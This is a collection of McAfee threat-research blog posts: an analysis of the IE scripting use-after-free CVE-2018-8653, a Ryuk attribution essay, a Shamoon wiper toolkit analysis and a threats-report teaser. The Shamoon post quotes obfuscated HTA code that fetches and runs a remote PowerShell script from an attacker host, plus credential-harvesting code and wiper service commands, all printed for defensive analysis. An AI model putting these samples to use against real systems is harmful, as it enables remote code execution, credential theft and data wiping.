IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653

Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution. The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group. Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle. McAfee products received […]

The post IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 appeared first on McAfee Blogs.

Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution. The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group. Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle. McAfee products received an update to detect the threat shortly after the patch was released.

A remote attacker can target Internet Explorer Versions 9 through 11 via a specially crafted website, while a local attacker on a rogue network could also target the Web Proxy Auto-Discovery service, which uses the same vulnerable scripting engine (jscript.dll). Microsoft Edge is not affected; however, other Windows applications that include the scripting engine might be vulnerable until the security patch from Microsoft is applied.

Context

Vulnerabilities targeting Internet Explorer that can be triggered either remotely or locally are prime tools for cybercriminals to compromise many unpatched computers. That is why criminals usually integrate those vulnerabilities into exploit kits, which propagate malware or conduct other nefarious activities against compromised hosts. The threat of exploit kits is one reason to track this type of vulnerability and to ensure all security patches are deployed in a timely manner. In 2018, more than 100 memory corruption vulnerabilities were found in a Microsoft scripting engine (either for Internet Explorer or Edge). See the MITRE website for more details. (For defense-in-depth, products such as McAfee Endpoint Security or McAfee Host Intrusion Prevention can detect and eradicate such threats until patches can be applied.)

Once a CVE ID is released, cybercriminals can take as little as a few weeks (or in some cases days) to integrate it into their exploit kit. For example, CVE-2018-8174 was initially reported to Microsoft in late April by two teams of threat researchers who had observed its exploitation in the wild. Microsoft published an advisory within a week, in early May. Meanwhile, the researchers published their security analysis of the exploit. Only two weeks later a proof-of-concept exploit was publicly released. In the next couple of weeks exploit kits RIG and Magnitude integrated their weaponized versions of the exploit. (A more detailed timeline can be found here.)

It took less than a month for cybercriminals to weaponize the vulnerability initially disclosed by Microsoft; therefore, it is critical to understand the threat posed by these attack vectors, and to ensure counter measures are in place to stop the threat before it can do any damage.

Technical details

The IE scripting engine jscript.dll is a code base that has been heavily audited:

It is no surprise that exploitable bugs are becoming more exotic. This is the case for CVE 2018-8653, which takes three seemingly innocent behaviors and turns them into a use-after-free flaw. A Microsoft-specific extension triggers a rarely explored code path that eventually misbehaves and invokes a frequently used function with unusual arguments. This leads to the use-after-free condition that was exploited in the wild.

The enumerator object: The entry point for this vulnerability is a Microsoft-specific extension, the enumerator object. It offers an API to enumerate opaque objects that belong to the Windows world (mostly ActiveX components, such as a file system descriptor used to list drives on a system). However, it can also be called on a JavaScript array. In this situation, one can access the array member as usual, but objects created this way are stored slightly differently in memory. This is the cause of interesting side effects.

The objects created by calling the Enumerator.prototype.item() function are recognized as an ActiveXObject and, as seen in the creation of eObj, we can under certain circumstances overwrite the “prototype” member that should have been a read-only property.

Unexpected side effect: The ability to overwrite the prototype member of an ActiveXObject can seem innocuous at first, but it can be leveraged to explore a code path that should not be reachable.

When using the “instanceof” keyword, we can see that the right side of the keyword expects a function. However, with a specially crafted object, the instanceof call succeeds and, worse, we can control the code being executed.

The edge case of invoking instanceof on a specially crafted ActiveXObject gives us the opportunity to run custom JavaScript code from a callback we control, which is typically an error-prone situation.

Attackers successfully turned this bug into a use-after-free condition, as we shall see next.

Exploiting the bug: Without getting into too much detail (see the proof of concept later in this document for more info), this bug can be turned into a “delete this” type of primitive, which resembles previously reported bugs.
When the callback function (“f” in our previous example) is invoked, the keyword “this” points to eObj.prototype. If we set it to null and then trigger a garbage collection, the memory backing the object can be freed and later reclaimed. However, as mentioned in the Project Zero bug report, to be successful an entire block of variables needs to be cleared before the memory is freed.

The out-of-band patch: Microsoft released an unscheduled patch to fix this vulnerability. It is common practice for us to look at what changed before and after the patch. Interestingly, this patch changes the strict minimum number of bytes, while the version number of the DLL remains unchanged.

Using the popular diffing tool Diaphora, we compared the version of jscript.dll for Windows 10, x64-bit edition (feature version 1809).

We can see that only a few functions were modified. All but one point to array-related functions. Those were probably patches addressing CVE 2018-8631 (jscript!JsArrayFunctionHeapSort out-of-bounds write). The only one remaining that was substantially modified is NameTbl::InvokeInternal.

Diaphora provides us with a diff of the assembly code of the two versions of the function. In this instance, it is easier to compare the functions side by side in Ida Pro to see what has changed. A quick glance toward the end of the function shows the introduction of two calls to GCRoot::~GCRoot (the destructor of the object GCRoot).

Looking at the implementation of ~GCRoot, we see it is the same code as that inlined in that function created by the compiler in the older version of the DLL.

In the newer version of the DLL, this function is called twice; while in the unpatched version, the code was called only once (inlined by the compiler, hence the absence of a function call). In C++ parlance, ~GCRoot is the destructor of GCRoot, so we may want to find the constructor of GCRoot. An easy trick is to notice the magic offset 0x3D0 to see if this value is used anywhere else. We find it near the top of the same function (the unpatched version is on the left):

Diving into the nitty gritty of garbage collection for jscript.dll is beyond the scope of this post, so let’s make some assumptions. In C++/C#, GCRoot would usually design a template to keep track of references pointing to the object being used, so those do not have garbage collection. Here it looks as though we are saving stack addresses (aka local variables) into a list of GCRoot objects to tell the garbage collector not to collect the objects whose pointers are on those specific locations on the stack. In hindsight this makes sense; we were able to “delete this” because “this” was not tracked by the garbage collector, so now Microsoft makes sure to specifically add that stack variable to the tracked elements.

We can verify this hypothesis by tracing the code around an invocation of instanceof. It turns out that just before invoking our custom “isPrototypeOf” callback function, a call to NameTbl::GetVarThis stores a pointer in the newly “protected” stack variable and then invokes ScrFncObj::Call to execute our callback.

Looking at unexpected behavior in `instanceof`: Curious readers might wonder why it is possible to invoke instanceof on a custom object rather than on a function (as described previously). When instanceof is invoked in JavaScript, the CScriptRuntime::InstOf function is called behind the scene. Early on, the function distinguishes two cases. If the variable type is 0x81 (which seems to be a broad type for a JavaScript object on the heap), then it invokes a virtual function that returns true/false if the object can be called. On the other hand, if the type is not 0x81, a different path is followed; it tries to automatically resolve the prototype object and invoke isPrototypeOf.

The 0x81 path:

The not 0x81 path:

 

 

Proof of concept

Now that we have seen the ins and outs of the bug, let’s look at a simple proof of concept that exhibits the use-after-free behavior.

First, we set up a couple of arrays, so that everything that can be preallocated is allocated, and the heap is in a somewhat ready state for the use after free.

Then, we declare our custom callback and trigger the vulnerability:

For some reason, the objects array needs to be freed and garbage collected before the next step of the exploit. This could be due to some side effect of freeing the ActiveXObject. The memory is reclaimed when we assign “1” to the property reallocPropertyName. That variable is a magic string that will be copied over the recently freed memory to mimic legitimate variables. It is created as shown:

The 0x0003 is a variable type that tells us the following value is an integer and that 1337 is its value. The string needs to be long enough to trigger an allocation of the same or similar size as the memory block that was recently freed.

To summarize, JavaScript variables (here, the RegExp objects) are stored in a block; when all the variables from the block are freed, the block itself is freed. In the right circumstances, the newly allocated string can take the place of the recently freed block, and because “this” is still dangling in our callback, it can be used for some type confusion. (This is the method used by the attackers, but beyond the scope of this post.) In this example, the code will print 1337 instead of an empty RegExp.

McAfee coverage

Please refer to the McAfee product bulletin for full coverage updates. Here is a short summary of current product coverage as of this writing.

Endpoint products: Endpoint Security (ENS), ENS Adaptive Threat Protection (ENS-ATP), Host Intrusion Prevention (HIPS), VirusScan Enterprise (VSE), WSS.

  • ENS (10.2.0+) with Exploit Prevention
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • HIPS (8.0.0+)
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • ENS (all versions) and WSS (all versions). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V3 DAT (3564)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a
  • VSE (8.8+). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V2 DAT (9113)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a

Content summary

  • DATs: V2 DAT (9113), V3 DAT (3564)
  • Generic Buffer Overflow Protection Signature ID 428

MITRE score

The base score (CVSS v3.0) for this vulnerability is 7.5 (High) with an impact score of 5.9 and an exploitability score of 1.6.

Conclusion

CVE-2018-8653 targets multiple versions of Internet Explorer and other applications that rely on the same scripting engine. Attackers can execute arbitrary code on unpatched hosts from specifically crafted web pages or JavaScript files. Even though the bug was recently fixed by Microsoft, we can expect exploit kits to soon deploy a weaponized version of this critical vulnerability, leveraging it to target remaining unpatched systems. The technical analysis in this post should provide enough information for defenders to ensure their systems will withstand the threat and to know which primitives to look for as an entry point for the attack. McAfee security products can be leveraged to provide specific “virtual patching” for this threat until full software patches can be deployed, while current generic buffer overflow protection rules can be used to fingerprint exploit attempts against this and similar vulnerabilities.

The post IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 appeared first on McAfee Blogs.

Ryuk Ransomware Attack: Rush to Attribution Misses the Point

Senior analyst Ryan Sherstobitoff contributed to this report. During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to […]

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

Senior analyst Ryan Sherstobitoff contributed to this report.

During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to link the attack to North Korea. Determining attribution was largely based on the fact that the Hermes ransomware has been used in the past by North Korean actors, and code blocks in Ryuk are similar to those in Hermes.

The McAfee Advanced Threat Research team has investigated this incident and determined how the malware works, how the attackers operate, and how to detect it. Based on the technical indicators, known cybercriminal characteristics, and evidence discovered on the dark web, our hypothesis is that the Ryuk attacks may not necessarily be backed by a nation-state, but rather share the hallmarks of a cybercrime operation.

How McAfee approaches attribution

Attribution is a critical part of any cybercrime investigation. However, technical evidence is often not enough to positively identify who is behind an attack because it does not provide all the pieces of the puzzle. Artifacts do not all appear at once; a new piece of evidence unearthed years after an attack can shine a different light on an investigation and introduce new challenges to current assumptions.

Ryuk attack: putting the pieces together

In October 2017, we investigated an attack on a Taiwanese bank. We discovered the actors used a clever tactic to distract the IT staff: a ransomware outbreak timed for the same moment that the thieves were stealing money. We used the term pseudo-ransomware to describe this attack. The malware was Hermes version 2.1.

One of the functions we often see in ransomware samples is that they will not execute if the victim’s system language is one of the following:

  • 419 (Russian)
  • 422 (Ukrainian)
  • 423 (Belarusian)

That was October 2017. Searching earlier events, we noticed a posting from August 2017 in an underground forum in which a Russian-speaking actor offered the malware kit Hermes 2.1 ransomware:

What if the actor who attacked the Taiwanese bank simply bought a copy of Hermes and added it to the campaign to cause the distraction? Why go to the trouble to build something, when the actor can just buy the perfect distraction in an underground forum?

In the same underground forum thread we found a post from October 22, 2018, mentioning Ryuk.

This post contains a link to an article in the Russian security magazine Xakep.ru (“Hacker”) discussing the emergence of Ryuk and how it was first discovered by MalwareHunterTeam in August 2018. This first appearance came well before last week’s attack on newspaper printing services.

Manga connection

Ryuk, according to Wikipedia, refers to a Japanese manga character from the series “Death Note.” Ryuk apparently drops a death note, a fitting name for ransomware that drops ransom notes.

Ransomware is typically named by its cybercriminal developer, as opposed to the naming of state-sponsored malware, which is mostly is done by the security industry. It seems the criminals behind Ryuk are into manga.

The use of manga character names and references is common in the cybercriminal scene. We often come across manga-inspired nicknames and avatars in underground forums.

Technical indicators

Looking at research from our industry peers comparing Ryuk and Hermes, we notice that the functionalities are generally equal. We agree that the actors behind Ryuk have access to the Hermes source code.

Let’s dive a bit deeper into Ryuk and compare samples over the last couple of months regarding compilation times and the presence of program database (PDB) paths:

We can see the PDB paths are almost identical. When we compare samples from August and December 2018 and focus on the checksum values of the executables’ rich headers, they are also identical.

From a call-flow perspective, we notice the similarities and evolution of the code:

The Hermes 2.1 ransomware kit, renamed and redistributed as Ryuk.

The author and seller of Hermes 2.1 emphasizes that he is selling is a kit and not a service. This suggests that a buyer of the kit must do some fine tuning by setting up a distribution method (spam, exploit kit, or RDP, for example) and infrastructure to make Hermes work effectively. If changing a name and ransom note are part of these tuning options, then it is likely that Ryuk is an altered version Hermes 2.1.

Attribution: analyzing competing hypotheses

In the race to determine who is behind an attack, research facts (the What and How questions) are often put aside to focus on attribution (the Who question). Who did it? This pursuit is understandable yet fundamentally flawed. Attribution is crucial, but there will always be unanswered questions. Our approach focuses on answering the What and How questions by analyzing the malware, the infrastructure involved, and the incident response performed at the victim’s site.

Our approach is always to analyze competing hypotheses. When investigating an incident, we form several views and compare all the artifacts to support these hypotheses. We try not only to seek verifying evidence but also actively try to find evidence that falsifies a hypothesis. Keeping our eyes open for falsifying facts and constantly questioning our results are essential steps to avoid conformation bias. By following this method, we find the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

Examining competing hypotheses is a scientific approach to investigating cyber incidents. It may not help with the race to attribution, but it ensures the output is based on available evidence.

The most likely hypothesis in the Ryuk case is that of a cybercrime operation developed from a tool kit offered by a Russian-speaking actor. From the evidence, we see sample similarities over the past several months that indicate a tool kit is being used. The actors have targeted several sectors and have asked a high ransom, 500 Bitcoin. Who is responsible? We do not know. But we do know how the malware works, how the attackers operate, and how to detect the threat. That analysis is essential because it allows us to serve our customers.

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used […]

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

YjDrMeQhBOsJZ = “WS”

wcpRKUHoZNcZpzPzhnJw = “crip”

RulsTzxTrzYD = “t.Sh”

MPETWYrrRvxsCx = “ell”

PCaETQQJwQXVJ = (YjDrMeQhBOsJZ + wcpRKUHoZNcZpzPzhnJw + RulsTzxTrzYD + MPETWYrrRvxsCx)

OoOVRmsXUQhNqZJTPOlkymqzsA=new ActiveXObject(PCaETQQJwQXVJ)

ULRXZmHsCORQNoLHPxW = “cm”

zhKokjoiBdFhTLiGUQD = “d.e”

KoORGlpnUicmMHtWdpkRwmXeQN = “xe”

KoORGlpnUicmMHtWdp = “.”

KoORGlicmMHtWdp = “(‘http://mynetwork.ddns.net:880/*****.ps1’)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -w 1 IEX (New-Object Net.WebClient)’+KoORGlpnUicmMHtWdp+’downloadstring’+KoORGlicmMHtWdp)

OoOVRmsXUQhNqZJTPOlkymqzsA.run(‘%windir%\\System32\\’ + FKeRGlzVvDMH + ‘ /c powershell -window hidden -enc

The preceding script opens a command shell on the victim’s machine and downloads a PowerShell script from an external location. From another location, it loads a second file to execute.

We discovered one of the PowerShell scripts. Part of the code shows they were harvesting usernames, passwords, and domains:

function primer {

if ($env:username -eq “$($env:computername)$”){$u=”NT AUTHORITY\SYSTEM”}else{$u=$env:username}

$o=”$env:userdomain\$u

$env:computername

$env:PROCESSOR_ARCHITECTURE

With legitimate credentials to a network it is easy to login and spread the wipers.

.Net tool kit

The new wave of Shamoon is accompanied by a .Net tool kit that spreads Shamoon Version 3 and the wiper Filerase.

This first component (OCLC.exe) reads two text files stored in two local directories. Files “shutter” and “light” contain a list of targeted machines.

OCLC.exe starts a new hidden command window process to run the second component, spreader.exe, which spreads the Shamoon variant and Filerase with the concatenated text file as parameter.

The spreader component takes as a parameter the text file that contains the list of targeted machines and the Windows version. It first checks the Windows version of the targeted computers.

The spreader places the executable files (Shamoon and Filerase) into the folder Net2.

It creates a folder on remote computers: C:\\Windows\System32\Program Files\Internet Explorer\Signing.

The spreader copies the executables into that directory.

It runs the executables on the remote machine by creating a batch file in the administrative share \\RemoteMachine\admin$\\process.bat. This file contains the path of the executables. The spreader then sets up the privileges to run the batch file.

If anything fails, the malware creates the text file NotFound.txt, which contains the name of the machine and the OS version. This can be used by the attackers to track any issues in the spreading process.

The following screenshot shows the “execute” function:

If the executable files are not present in the folder Net2, it checks the folders “all” and Net4.

To spread the wipers, the attackers included an additional spreader using Psexec.exe, an administration tool used to remotely execute commands.

The only difference is that this spreader uses psexec, which is supposed to be stored in Net2 on the spreading machine. It could be used on additional machines to move the malware further.

The wiper contains three options:

  • SilentMode: Runs the wiper without any output.
  • BypassAcl: Escalates privileges. It is always enabled.
  • PrintStackTrace: Tracks the number of folders and files erased.

The BypassAcl option is always “true” even if the option is not specified. It enables the following privileges:

  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege
  • SeSecurityPrivilege

To find a file to erase, the malware uses function GetFullPath to get all paths.

It erases each folder and file.

The malware browses every file in every folder on the system.

To erase all files and folders, it first removes the “read only’ attributes to overwrite them.

It changes the creation, write, and access date and time to 01/01/3000 at 12:01:01 for each file.

The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.

Conclusion

In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.

 

Coverage

The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise

Hashes

  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 127.0.0.1 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 127.0.0.1 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service

 

 

 

 

 

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats

The McAfee Advanced Threat Research team today published the McAfee® Labs Threats Report, December 2018. In this edition, we highlight the notable investigative research and trends in threats statistics and observations gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q3 of 2018. We are very excited to present to you new […]

The post McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats appeared first on McAfee Blogs.

The McAfee Advanced Threat Research team today published the McAfee® Labs Threats Report, December 2018. In this edition, we highlight the notable investigative research and trends in threats statistics and observations gathered by the McAfee Advanced Threat Research and McAfee Labs teams in Q3 of 2018.

We are very excited to present to you new insights and a new format in this report. We are dedicated to listening to our customers to determine what you find important and how we can add value. In recent months we have gathered more threat intelligence, correlating and analyzing data to provide more useful insights into what is happening in the evolving threat landscape. McAfee is collaborating closely with MITRE Corporation in extending the techniques of its MITRE ATT&CK™ knowledge base, and we now include the model in our report. We are always working to refine our process and reports. You can expect more from us, and we welcome your feedback.

As we dissect the threat landscape for Q3, some noticeable statistics jump out of the report.  In particular, the continued rise in cryptojacking, which has made an unexpected emergence over the course of a year. In Q3 the growth of coin miner malware returned to unprecedented levels after a temporary slowdown in Q2.

Our analysis of recent threats included one notable introduction in a disturbing category. In Q3 we saw two new exploit kits: Fallout and Underminer. Fallout almost certainly had a bearing on the spread of GandCrab, the leading ransomware. Five years ago we published the report “Cybercrime Exposed,” which detailed the rise of cybercrime as a service. Exploit kits are the epitome of this economy, affording anyone the opportunity to easily and cheaply enter the digital crime business.

New malware samples jumped up again in Q3 after a decline during the last two quarters. Although the upward trend applies to almost every category, we did measure a decline in new mobile malware samples following three quarters of continual growth.

This post is only a small snapshot of the comprehensive analysis provided in the December Threats Report. We hope you enjoy the new format, and we welcome your feedback.

The post McAfee Labs Threats Report Examines Cybercriminal Underground, IoT Malware, Other Threats appeared first on McAfee Blogs.